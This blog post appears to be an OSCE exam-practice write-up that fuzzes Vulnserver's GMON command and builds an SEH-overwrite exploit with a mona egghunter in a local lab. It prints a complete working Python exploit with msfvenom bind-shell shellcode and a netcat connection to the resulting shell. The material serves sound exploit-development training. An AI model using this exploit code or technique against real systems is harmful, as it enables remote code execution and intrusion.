Blog


OSCE Exam Practice - Part III (GMON via SEH Overwrite w/ Egg Hunter)

May 14, 2020 | 19 minutes read

Tags: osce, vulnserver, windbg, boofuzz

Lab Environment

  • Operating System: Windows 7
  • Architecture: x86
  • Debugger: WinDbg
  • Scripting Language: Python3.8
  • Fuzzer: boofuzz
  • Repo Entry: GMON - Egg Hunter
  • Additional Tools Used:
  • Target: Vulnserver :: GMON command
  • Method: SEH Overwrite w/ Egg Hunter

In case you’re missing anything listed above (excluding vulnserver), check out OSCE Exam Practice - Part I (Lab Setup).

DISCLAIMER: This series of posts is geared toward diving deeper on more modern tooling (boofuzz, windbg, mona, et al) as well as gaining proficiency/efficiency with exploit development. It’s not a guide for the how-to portion of writing a PoC (even though I step through things slowly, I don’t explain things to that level of detail). I assume if you’re here to look at OSCE practice examples, you probably don’t need the step-by-step instructions for every little thing. With all that said, I hope you find something useful!

Other posts in the series:


Introduction

Welcome back! In this post we’ll develop an exploit for vulnserver’s GMON command using an SEH overwrite and an egg hunter. Based off of the work done in Part II, we have a lot of ready made templates located in the companion repository. These templates will speed up exploit dev considerably. Additionally, we won’t be spending as much time on things already covered in Part II. If something comes completely out of left field and you want me to expand upon it, just drop me a line!

Fuzzing

Boofuzz Script

We’ll begin by fuzzing the GMON command. GMON handles input similarly to how TRUN did in the last post. Due to our awesome foresight, we can make a small modification to the fuzzing.py found in the repo and be off to the races.

Start out by cloning the repository (or on windows downloading the zip). Once that’s done, copy the TEMPLATE_DIR directory and name the copy GMON. We should have a new folder with the below structure.

├── GMON
│   ├── final-poc
│   │   └── exploit.py
│   ├── find-offset
│   │   └── exploit.py
│   ├── fuzzing
│   │   └── fuzzer.py
│   ├── id-bad-chars
│   │   └── exploit.py
│   └── initial-crash
│       └── exploit.py

After that modify fuzzing/fuzzer.py such that line 55 is modified from

55s_string("COMMAND TO FUZZ", fuzzable=False)  # change me 

To the following

55s_string("GMON", fuzzable=False)

Easy right? After that we’re ready to fuzz!

Fuzzing Detour

One thing of note, I made a second modification to boofuzz during this fuzzing session. I kept getting socket.error: [Errno 10054] An existing connection was forcibly closed by the remote host on the process_monitor.py side of things. After googling around, I found this boofuzz issue which talks about the same problem but not specifically about process_monitor.py.

After digging around using the traceback to guide me, i made the following change to boofuzz\monitors\pedrpc.py

 1diff --git a/boofuzz/monitors/pedrpc.py b/boofuzz/monitors/pedrpc.py
 2index 335e078..2395b66 100644
 3--- a/boofuzz/monitors/pedrpc.py
 4+++ b/boofuzz/monitors/pedrpc.py
 5@@ -256,7 +256,7 @@ class Server(object):
 6             try:
 7                 self.__client_sock.shutdown(socket.SHUT_RDWR)
 8             except socket.error as e:
 9-                if e.errno == errno.ENOTCONN:
10+                if e.errno == errno.ENOTCONN or e.errno == errno.ECONNRESET:
11                     pass
12                 else:
13                     raise
14

All this does is prevent the exception being raised when process_monitor.py encounters this particular socket error. After making this change, all fuzzing sessions have ran to completion.

DISCLAIMER: Making this change may have unintended consequences. So far I’ve successfully fuzzed GMON and KSTET with this change in place, but who knows…

Follow Up: Twitter user @Ramon_JCFK told me they were still getting 10054 errors even after making the two suggested changes to boofuzz. We ensured that he had the changes in place correctly but still came up short. He let me know later that running process_monitor.py on windows and then the fuzzer from kali worked. So, that’s another option available if fuzzing from windows isn’t working out.

Run the Fuzzer

We’ll need two separate terminals to get things going.

Terminal 1:

C:\Python27\python.exe C:\Users\vagrant\Downloads\boofuzz-master\process_monitor.py
═══════════════════════════════════════════

[06:23.08] Process Monitor PED-RPC server initialized:
[06:23.08]       listening on:  0.0.0.0:26002
[06:23.08]       crash file:    C:\Users\vagrant\Desktop\OSCE-exam-practice\GMON\fuzzing\boofuzz-crash-bin
[06:23.08]       # records:     0
[06:23.08]       proc name:     None
[06:23.08]       log level:     1
[06:23.08] awaiting requests...

Terminal 2:

C:\Python37\python.exe .\fuzzer.py
══════════════════════════════════

[2020-05-16 18:24:27,163]     Info: Web interface can be found at http://localhost:26000
fuzzing with 1441 mutations
...

Crashes

Our fuzzing yields two crashes. We can see the relevant context dumps below, showing we’re able to overwrite EIP.

CONTEXT DUMP
  EIP: 41414141 Unable to disassemble at 41414141
  EAX: 00000000 (         0) -> N/A
  EBX: 00000000 (         0) -> N/A
  ECX: 41414141 (1094795585) -> N/A
  EDX: 774672cd (2001105613) -> N/A
  EDI: 00000000 (         0) -> N/A
  ESI: 00000000 (         0) -> N/A
  EBP: 015d1378 (  22877048) -> (] (stack)
  ESP: 015d1358 (  22877016) -> rFw@]|\]]]rFw|(]rFw@]|\]]AAAA|@]|Cw@]|\]]AAAA@]|z}]]qFw@]\]@]\]AAAA (stack)
  +00: 774672b9 (2001105593) -> N/A
  +04: 015d1440 (  22877248) -> AAAAAAAA;##rFwAAAA]AAAAF]# (stack)
  +08: 017cffc4 (  24969156) -> N/A
  +0c: 015d145c (  22877276) -> ;##rFwAAAA]AAAAF]# (stack)
  +10: 015d1414 (  22877204) -> |z}]]qFw@]\]@]\]AAAAAAAA;##rFwAAAA] (stack)
  +14: 015d18ac (  22878380) -> ]rFw|h]rFw]|]T]AAAA|]|Cw]|]T]AAAA]|z}]]qFw]]]]AAAAAAAA (stack)
CONTEXT DUMP
  EIP: 2f2f2f2f Unable to disassemble at 2f2f2f2f
  EAX: 00000000 (         0) -> N/A
  EBX: 00000000 (         0) -> N/A
  ECX: 2f2f2f2f ( 791621423) -> N/A
  EDX: 774672cd (2001105613) -> N/A
  EDI: 00000000 (         0) -> N/A
  ESI: 00000000 (         0) -> N/A
  EBP: 02401378 (  37753720) -> (@ (stack)
  ESP: 02401358 (  37753688) -> rFw@@_\@@@rFw_(@rFw@@_\@@////_@@_Cw@@_\@@////@@_z`@@qFw@@\@@@\@//// (stack)
  +00: 774672b9 (2001105593) -> N/A
  +04: 02401440 (  37753920) -> ////////;##rFw////@////F@# (stack)
  +08: 025fffc4 (  39845828) -> N/A
  +0c: 0240145c (  37753948) -> ;##rFw////@////F@# (stack)
  +10: 02401414 (  37753876) -> _z`@@qFw@@\@@@\@////////;##rFw////@ (stack)
  +14: 024018ac (  37755052) -> @rFw_h@rFw@_@T@////_@_Cw@_@T@////@_z`@@qFw@@@@//////// (stack)

Fortunately, there is only one boofuzz test case sent that uses capital A’s (it’s also the same fuzz string used in the TRUN PoC). If you need a refresher on going from the crashes to the payload sent and its length, check out the boofuzz-results Database section of Part II.

Building the Exploit

Initial Crash PoC

We’ll leverage our template found at GMON\initial-crash\exploit.py to quickly replicate the crash.

Similar to our fuzzer, we just need to change the following lines in our template.

Modify GMON\initial-crash/exploit.py from

4VULNSRVR_CMD = b""  # change me
5CRASH_LEN = 0  # change me

To the following

4VULNSRVR_CMD = b"GMON /.:/ "  # change me
5CRASH_LEN = 5011  # change me

We can get windbg running and verify the PoC works.

gmon-initial-crash-1

Well, we have the crash, but EIP doesn’t hold 41414141. We can check the to see if our fuzz string made it into the SEH chain.

windbg !exchain

Windbg’s !exchain extension displays the list of exception handlers for the current thread. The list begins with the first handler on the chain (the one that is given the first opportunity to handle an exception) and continues on to the end.

!exchain
════════

018effc4: 41414141
Invalid exception stack at 41414141

There we have our A’s, making this an SEH overwrite exploit.

Determine the Offset

To determine the offset, we’ll use mona to create a cyclic pattern and update our next template.

if you need a refresher on creating the pattern, here you go

This time, we’ll update GMON\find-offset\exploit.py (notice the directory) and change lines 4-11 from

4VULNSRVR_CMD = b""  # change me
5CRASH_LEN = 0  # change me
6OFFSET = 0  # change me
7
8target = ("127.0.0.1", 9999)  # vulnserver
9
10payload = VULNSRVR_CMD
11payload += b"CYCLIC PATTERN GOES HERE"

to

4VULNSRVR_CMD = b"GMON /.:/ "  # change me
5CRASH_LEN = 5011  # change me
6OFFSET = 0  # change me
7
8target = ("127.0.0.1", 9999)  # vulnserver
9
10payload = VULNSRVR_CMD
11payload += b"Aa0Aa1Aa2Aa3Aa4A..."

With that done, we’ll hook up windbg again and send the find-offset PoC. Once execution stops, we can run findmsp to determine the offset.

!py mona findmsp
════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py findmsp
[+] Looking for cyclic pattern in memory
    Cyclic pattern (normal) found at 0x003837f2 (length 4086 bytes)
    Cyclic pattern (normal) found at 0x01acf20a (length 3572 bytes)
    -  Stack pivot between 34 & 3606 bytes needed to land in this pattern
    Cyclic pattern (normal) found at 0x003837f2 (length 4086 bytes)
[+] Examining registers
    EBP (0x01acf9d8) points at offset 1998 in normal pattern (length 1576)
    EDX contains normal pattern : 0x70453170 (offset 3574)
    ECX (0x003845ec) points at offset 3578 in normal pattern (length 508)
[+] Examining SEH chain
    SEH record (nseh field) at 0x01acffc4 overwritten with normal pattern : 0x6e45316e (offset 3514), followed by 52 bytes of cyclic data after the handler
[+] Examining stack (entire stack) - looking for cyclic pattern
    Walking stack from 0x01acf000 to 0x01acfffc (0x00000ffc bytes)
    0x01acf20c : Contains normal cyclic pattern at ESP+0x24 (+36) : offset 2, length 3572 (-> 0x01acffff : ESP+0xe18)
[+] Examining stack (entire stack) - looking for pointers to cyclic pattern
    Walking stack from 0x01acf000 to 0x01acfffc (0x00000ffc bytes)
    0x01acf164 : Pointer into normal cyclic pattern at ESP-0x84 (-132) : 0x01acfc60 : offset 2646, length 928
    0x01acf168 : Pointer into normal cyclic pattern at ESP-0x80 (-128) : 0x01acf7a0 : offset 1430, length 2144
[+] Preparing output file 'findmsp.txt'
    - Creating working folder c:\monalogs\vulnserver_2684
    - Folder created
    - (Re)setting logfile c:\monalogs\vulnserver_2684\findmsp.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.

There we go, the offset to the nSEH field is 3514! There’s an important piece of information on that same line. It tells us there is only 52 bytes of cyclic data after the handler. That limits what shellcode we can insert after the nSEH field. We’ll come back to this a little later.

Confirming the Offset

Now that we know the offset, let’s update our PoC and confirm it.

Our updated script will look like what’s below. We update the OFFSET variable with 3514. Additionally, we comment out the cyclic pattern. Finally, we un-comment lines 14-16.

 1import struct
 2import socket
 3
 4VULNSRVR_CMD = b"GMON /.:/ "  # change me
 5CRASH_LEN = 5011  # change me
 6OFFSET = 3514
 7
 8target = ("127.0.0.1", 9999)  # vulnserver
 9
10payload = VULNSRVR_CMD
11# payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa..."
12
13# Then use the structure below to confirm the offset
14payload += b"A" * OFFSET
15payload += b"B" * 4  # nSEH
16payload += b"C" * (CRASH_LEN - len(payload))
17
18with socket.create_connection(target) as sock:
19    sock.recv(512)  # Welcome to Vulnerable Server! ... 
20
21    sent = sock.send(payload)
22    print(f"sent {sent} bytes")

When sending the above code, we expect to see 4 B’s in the nSEH field after running !exchain. Firing up windbg and throwing again confirms that’s what happens.

!exchain
════════

01a1ffc4: 43434343
Invalid exception stack at 42424242

Finding Bad Characters

Now that we know the offset, we’ll determine if there are any bad characters. Here comes another template!

Update the global variables in GMON\id-bad-chars\exploit.py to look like what’s below. Other than that, everything is good to go!

4VULNSRVR_CMD = b"GMON /.:/ "  # change me
5CRASH_LEN = 5011  # change me
6OFFSET = 3514

Note: I initially thought I would need to chunk up the bad character testing to fit within the 52 character limit. However, I noticed that ECX was pointing into the byte array at a point that was greater than 52 (0x3d or 61). This led me to believe I could send the entire byte array and check that region of memory for comparison instead of chunking the array.

One nice thing about windbg is how you can manipulate the memory panes to look around based on offsets. We can use this to find the offset to the memory address of our byte array.

gmon-bad-chars

Now that we know the offset, we can compare our byte array to that location to check for bad characters.

assumes you’ve run !py mona ba -cpb '\x00' to generate the .bin file

!py mona compare -f c:\monalogs\vulnserver_4912\bytearray.bin -a ecx-3c
═══════════════════════════════════════════════════════════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py compare -f c:\monalogs\vulnserver_4912\bytearray.bin -a ecx-3c
[+] Reading file c:\monalogs\vulnserver_4912\bytearray.bin...
    Read 255 bytes from file
[+] Preparing output file 'compare.txt'
    - (Re)setting logfile c:\monalogs\vulnserver_4912\compare.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] c:\monalogs\vulnserver_4912\bytearray.bin has been recognized as RAW bytes.
[+] Fetched 255 bytes successfully from c:\monalogs\vulnserver_4912\bytearray.bin
    - Comparing 1 location(s)
Comparing bytes from file with memory :
0x005745b0 | [+] Comparing with memory at location : 0x005745b0 (Heap)
0x005745b0 | !!! Hooray, normal shellcode unmodified !!!
0x005745b0 | Bytes omitted from input: 00

Boom, we know that our shellcode can make it into memory without getting corrupted!

mona.py seh

The common move for an SEH overwrite is to insert a pop pop ret gadget. We can find instructions that accomplish that goal very easily with mona’s seh command.

The seh command will search for pointers to routines that will lead to code execution in an SEH overwrite exploit. By default, it will attempt to bypass SafeSEH by excluding pointers from rebase, aslr and safeseh protected modules. Output will be written into seh.txt

seh will search for the following instruction gadgets (not just pop pop ret):

1pop r32 / pop r32 / ret (+ offset)
2pop r32 / add esp+4 / ret (+ offset)
3add esp+4 / pop r32 / ret (+offset)
4add esp+8 / ret (+offset)
5call dword [ebp+ or -offset]
6jmp dword [ebp+ or -offset]
7popad / push ebp / ret (+ offset)

The output from seh is shown below (truncated for brevity’s sake).

!py mona seh
════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py seh

---------- Mona command started on 2020-05-18 12:12:23 (v2.0, rev 605) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 2 modules
    - Querying module essfunc.dll
    - Querying module vulnserver.exe
[+] Setting pointer access level criteria to 'R', to increase search results
    New pointer access level : R
[+] Preparing output file 'seh.txt'
    - Creating working folder c:\monalogs\vulnserver_3132
    - Folder created
    - (Re)setting logfile c:\monalogs\vulnserver_3132\seh.txt
[+] Writing results to c:\monalogs\vulnserver_3132\seh.txt
    - Number of pointers of type 'pop ebx # pop ebp # ret ' : 2 
    - Number of pointers of type 'pop edi # pop ebp # ret ' : 4 
    - Number of pointers of type 'pop ecx # pop ecx # ret ' : 1 
    - Number of pointers of type 'pop ebx # pop ebx # ret ' : 2 
    - Number of pointers of type 'pop eax # pop edx # ret ' : 1 
    - Number of pointers of type 'pop ecx # pop edx # ret ' : 1 
    - Number of pointers of type 'pop esi # pop ebp # ret ' : 2 
    - Number of pointers of type 'pop ebx # pop ebp # ret 0x04' : 1 
    - Number of pointers of type 'pop ecx # pop eax # ret ' : 1 
    - Number of pointers of type 'pop ebp # pop ebp # ret ' : 1 
    - Number of pointers of type 'pop edi # pop ebp # ret 0x04' : 1 
    - Number of pointers of type 'pop eax # pop eax # ret ' : 1 
[+] Results : 
0x625010b4 |   0x625010b4 : pop ebx # pop ebp # ret  |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x625011b3 |   0x625011b3 : pop eax # pop eax # ret  |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
-------------8<-------------
    Found a total of 18 pointers

We can take one of the pop pop ret gadget addresses from the output and plug it into our GMON\final-poc\exploit.py template. While we’re at it, we can update the global variables. Also, let’s comment out line 54 (adding shellcode to the payload). We already know there’s not enough room there for the shellcode as it is.

4VULNSRVR_CMD = b"GMON /.:/ "  # change me
5CRASH_LEN = 5011  # change me
6OFFSET = 3514
51payload += b"A" * OFFSET
52payload += struct.pack("<I", 0x625011b3)  # change me
53payload += b"\x90" * SLED_LENGTH
54# payload += shellcode
55payload += b"C" * (CRASH_LEN - len(payload))

With the pop pop ret gadget in place, we’ll throw the updated script. When we do, we’ll get a message about an Access violation (shown below)

(f74.378): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
-------------8<-------------

When this happens, we can enter commands into windbg. We’re going to use the opportunity to use another awesome mona utility.

mona.py bpseh

bpseh sets a breakpoint on all current SEH Handler function pointers.

For the better part of 3 months, I was running !exchain, copying the nseh record, and then setting a breakpoint on that address. Little did I know that mona turns it into a single command. It’s a small thing, but it’s a very nice quality of life touch.

sehbp is an alias of bpseh, or vice-versa. either way, just type whatever you can rememebr; it’ll work!

!py mona bpseh
══════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py bpseh
Nr of SEH records : 1
SEH Chain :
-----------
Address     Next SEH    Handler
0x0196ffc4  0x909009eb  0x625011b3 essfunc.dll+0x000011b3 <- BP set

With the breakpoint set, just use the g command and we should hit our pop pop ret.

gmon-ppr

Short Jump

The next common action in an SEH exploit is to make a short jmp over the gadget you entered into the nSEH record. We’ll stick to convention and hand-jam a short jump into our PoC.

I don’t want to deep dive on this, there are plenty of great blogs out there that cover SEH overwrites (this one from @h0mbre is a fine choice!). The TL;DR is that our nSEH gadget executes which redirects execution to the short jump. The short jump takes us OVER the nseh gadget into our nop sled.

50-------------8<-------------
51payload += b"A" * OFFSET
52payload += b"\xeb\x09\x90\x90"  # jmp short 
53payload += struct.pack("<I", 0x625011b3)  # nseh
54payload += b"\x90" * SLED_LENGTH
55-------------8<-------------

After throwing the updated PoC, we can see the disassembly before we take the jump.

gmon-pivot

And after the jump.

gmon-after-short-jump

mona.py egg

Now we find ourselves within the 52 bytes of space we identified earlier with findmsp. As already stated, 52 bytes is not enough for our bind shell payload. We’ll need a way to get our shellcode into memory and then have execution reach that shellcode. Luckily, there’s plenty of space in the exploit prior to the seh overwrite (3000+ bytes or so). We’ll insert our shellcode there along with a unique identifier called an egg.

In the 52 bytes of space, we’ll insert a small piece of code called an egghunter. This small piece of assembly iterates over memory looking for the egg. When found, it transfers execution to the address immediately following the egg (our shellcode).

You can check out my x64 Linux Egghunter Shellcode post that details what an egghunter is and how it accomplishes its task. At a high level, the linux and windows version do the same thing, they just use different syscalls.

At this point, you shouldn’t be surprised to learn that mona can help with crafting an egghunter as well. mona’s egg command creates an egghunter routine. If you don’t specify a file containing shellcode, it will simply produce a regular egghunter routine. By default the tag (egg) used is w00t, though I’ve chosen to use c0d3.

I’ve run into trouble with the very similar tag W00T. What was happening is that the T translated to a push esp and the W turned into a push edi. These instructions were jacking up my shellcode, so I devised my own benign tag for use with egghunters.

The tag c0d3’s disassembly is shown below.

1ndisasm> 65643063
2═════════════════
3
465                       gs
564                       fs
630                       db 0x30
763                       db 0x63

Ok, enough with all that, let’s make an egghunter!

!py mona egg -t c0d3
════════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py egg -t c0d3
[+] Egg set to c0d3
[+] Generating traditional 32bit egghunter code
[+] Preparing output file 'egghunter.txt'
    - Creating working folder c:\monalogs\vulnserver_3604
    - Folder created
    - (Re)setting logfile c:\monalogs\vulnserver_3604\egghunter.txt
[+] Egghunter  (33 bytes): 
"\x90\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a"
"\x74\xef\xb8\x63\x30\x64\x33\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff"
"\xe7"

With that done, we’ll need to alter our PoC and add the egghunter.

47-------------8<-------------
48shellcode += b"\xef\x33\xf1"
49
50# !py mona egg -t c0d3
51egghunter = b"\x90\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x63\x30\x64\x33\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
52
53payload = VULNSRVR_CMD
54-------------8<-------------

Final PoC

Next, we’ll add our egg to the payload. We’ll also include a little wiggle room between the start of the buffer and the egg. In the same breath, we’ll add our existing shellcode to the payload.

based on how the egghunter works, the egg needs to doubled; c0d3 is added as c0d3c0d3

52-------------8<-------------
53payload = VULNSRVR_CMD
54payload += b"A" * 100
55payload += b"c0d3c0d3"
56payload += shellcode
57-------------8<-------------

After adding in the shellcode variable, we can make sure our payload is of a proper length by filling the remainder with B’s.

55-------------8<-------------
56payload += shellcode
57payload += b"B" * (OFFSET - len(payload) + len(VULNSRVR_CMD))
58payload += b"\xeb\x09\x90\x90"  # jmp short 
59payload += struct.pack("<I", 0x625011b3)  # nseh
60-------------8<-------------

Lastly, let’s change our SLED_LENGTH from 20 to 10. This will ensure we have enough room for our egghunter in the 52 bytes of allowed space.

5-------------8<-------------
6OFFSET = 3514
7SLED_LENGTH = 10
8-------------8<-------------

The final exploit code is shown below.

 1import struct
 2import socket
 3
 4VULNSRVR_CMD = b"GMON /.:/ "  # change me
 5CRASH_LEN = 5011  # change me
 6OFFSET = 3514
 7SLED_LENGTH = 10
 8
 9target = ("127.0.0.1", 9999)  # vulnserver
10
11# shellcode will work in simple cases, likely will need modification 
12# -----
13# msfvenom -p windows/shell_bind_tcp LPORT=12345 -f python -v shellcode -b '\x00' EXITFUNC=thread
14# Payload size: 355 bytes
15shellcode =  b""
16shellcode += b"\xbb\xed\x65\x39\x9d\xdb\xdb\xd9\x74\x24\xf4"
17shellcode += b"\x58\x33\xc9\xb1\x53\x31\x58\x12\x83\xc0\x04"
18shellcode += b"\x03\xb5\x6b\xdb\x68\xb9\x9c\x99\x93\x41\x5d"
19shellcode += b"\xfe\x1a\xa4\x6c\x3e\x78\xad\xdf\x8e\x0a\xe3"
20shellcode += b"\xd3\x65\x5e\x17\x67\x0b\x77\x18\xc0\xa6\xa1"
21shellcode += b"\x17\xd1\x9b\x92\x36\x51\xe6\xc6\x98\x68\x29"
22shellcode += b"\x1b\xd9\xad\x54\xd6\x8b\x66\x12\x45\x3b\x02"
23shellcode += b"\x6e\x56\xb0\x58\x7e\xde\x25\x28\x81\xcf\xf8"
24shellcode += b"\x22\xd8\xcf\xfb\xe7\x50\x46\xe3\xe4\x5d\x10"
25shellcode += b"\x98\xdf\x2a\xa3\x48\x2e\xd2\x08\xb5\x9e\x21"
26shellcode += b"\x50\xf2\x19\xda\x27\x0a\x5a\x67\x30\xc9\x20"
27shellcode += b"\xb3\xb5\xc9\x83\x30\x6d\x35\x35\x94\xe8\xbe"
28shellcode += b"\x39\x51\x7e\x98\x5d\x64\x53\x93\x5a\xed\x52"
29shellcode += b"\x73\xeb\xb5\x70\x57\xb7\x6e\x18\xce\x1d\xc0"
30shellcode += b"\x25\x10\xfe\xbd\x83\x5b\x13\xa9\xb9\x06\x7c"
31shellcode += b"\x1e\xf0\xb8\x7c\x08\x83\xcb\x4e\x97\x3f\x43"
32shellcode += b"\xe3\x50\xe6\x94\x04\x4b\x5e\x0a\xfb\x74\x9f"
33shellcode += b"\x03\x38\x20\xcf\x3b\xe9\x49\x84\xbb\x16\x9c"
34shellcode += b"\x31\xb3\xb1\x4f\x24\x3e\x01\x20\xe8\x90\xea"
35shellcode += b"\x2a\xe7\xcf\x0b\x55\x2d\x78\xa3\xa8\xce\xb6"
36shellcode += b"\x0d\x24\x28\xdc\x7d\x60\xe2\x48\xbc\x57\x3b"
37shellcode += b"\xef\xbf\xbd\x13\x87\x88\xd7\xa4\xa8\x08\xf2"
38shellcode += b"\x82\x3e\x83\x11\x17\x5f\x94\x3f\x3f\x08\x03"
39shellcode += b"\xb5\xae\x7b\xb5\xca\xfa\xeb\x56\x58\x61\xeb"
40shellcode += b"\x11\x41\x3e\xbc\x76\xb7\x37\x28\x6b\xee\xe1"
41shellcode += b"\x4e\x76\x76\xc9\xca\xad\x4b\xd4\xd3\x20\xf7"
42shellcode += b"\xf2\xc3\xfc\xf8\xbe\xb7\x50\xaf\x68\x61\x17"
43shellcode += b"\x19\xdb\xdb\xc1\xf6\xb5\x8b\x94\x34\x06\xcd"
44shellcode += b"\x98\x10\xf0\x31\x28\xcd\x45\x4e\x85\x99\x41"
45shellcode += b"\x37\xfb\x39\xad\xe2\xbf\x5a\x4c\x26\xca\xf2"
46shellcode += b"\xc9\xa3\x77\x9f\xe9\x1e\xbb\xa6\x69\xaa\x44"
47shellcode += b"\x5d\x71\xdf\x41\x19\x35\x0c\x38\x32\xd0\x32"
48shellcode += b"\xef\x33\xf1"
49
50# !py mona egg -t c0d3
51egghunter = b"\x90\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x63\x30\x64\x33\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
52
53payload = VULNSRVR_CMD
54payload += b"A" * 100
55payload += b"c0d3c0d3"  
56payload += shellcode
57payload += b"B" * (OFFSET - len(payload) + len(VULNSRVR_CMD))
58payload += b"\xeb\x09\x90\x90"  # jmp short 
59payload += struct.pack("<I", 0x625011b3)  # nseh
60payload += b"\x90" * SLED_LENGTH
61payload += egghunter
62payload += b"C" * (CRASH_LEN - len(payload))
63
64with socket.create_connection(target) as sock:
65    sock.recv(512)  # Welcome to Vulnerable Server! ... 
66
67    sent = sock.send(payload)
68    print(f"sent {sent} bytes")

Getting a Shell

If all goes well when we throw the code above, we should see a listener on port 12345 open up.

nc -vn 127.0.0.1 12345
══════════════════════

(UNKNOWN) [127.0.0.1] 12345 (?) open
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Users\vagrant\Downloads\vulnserver-master> 

Outro

Hopefully you found something useful here! Next time we’ll either do GMON without an egghunter, or start exploring KSTET. I’m not sure which yet.


comments powered by Disqus